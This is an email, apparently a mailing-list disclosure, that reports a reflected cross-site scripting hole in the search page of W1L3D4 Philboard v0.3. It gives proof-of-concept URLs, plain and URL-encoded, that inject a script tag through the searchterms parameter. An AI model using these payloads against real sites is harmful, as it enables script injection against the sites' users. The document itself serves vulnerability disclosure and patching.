------=_Part_113167_26183988.1185316931798
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

W1L3D4 Philboard v0.3 XSS Vulnerability

#Software: W1L3D4 Philboard v0.3
#download: http://www.aspindir.com/goster/4891
#demo: http://sgportal.somee.com/
#Found By: GeFORC3  |  G3

#Exploit:

http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=
"><script>alert("g3");</script>

http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=%22%3E%3Cscript%3Ealert%28%22g3%22%29%3B%3C%2Fscript%3E&searchuser=

This xss works on W1L3D4 Philboard v0.3 search (arama)


WwW.GeFORC3.Org  |  WwW.HeykirBlog.Org  |  WwW.NetKaBus.Com

------=_Part_113167_26183988.1185316931798
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

W1L3D4 Philboard v0.3 XSS Vulnerability<br><br>#Software: W1L3D4 Philboard v0.3<br>#download: <a href="http://www.aspindir.com/goster/4891">http://www.aspindir.com/goster/4891</a><br>#demo: <a href="http://sgportal.somee.com/">
http://sgportal.somee.com/</a><br>#Found By: GeFORC3&nbsp; |&nbsp; G3<br><br>#Exploit:<br><br><a href="http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=">http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=</a>
&quot;&gt;&lt;script&gt;alert(&quot;g3&quot;);&lt;/script&gt;<br><br><a href="http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=%22%3E%3Cscript%3Ealert%28%22g3%22%29%3B%3C%2Fscript%3E&amp;searchuser=">http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=%22%3E%3Cscript%3Ealert%28%22g3%22%29%3B%3C%2Fscript%3E&amp;searchuser=
</a><br><br>This xss works on W1L3D4 Philboard v0.3 search (arama)<br><br><br><a href="http://WwW.GeFORC3.Org">WwW.GeFORC3.Org</a>&nbsp; |&nbsp; <a href="http://WwW.HeykirBlog.Org">WwW.HeykirBlog.Org</a>&nbsp; |&nbsp; <a href="http://WwW.NetKaBus.Com">
WwW.NetKaBus.Com</a>

------=_Part_113167_26183988.1185316931798--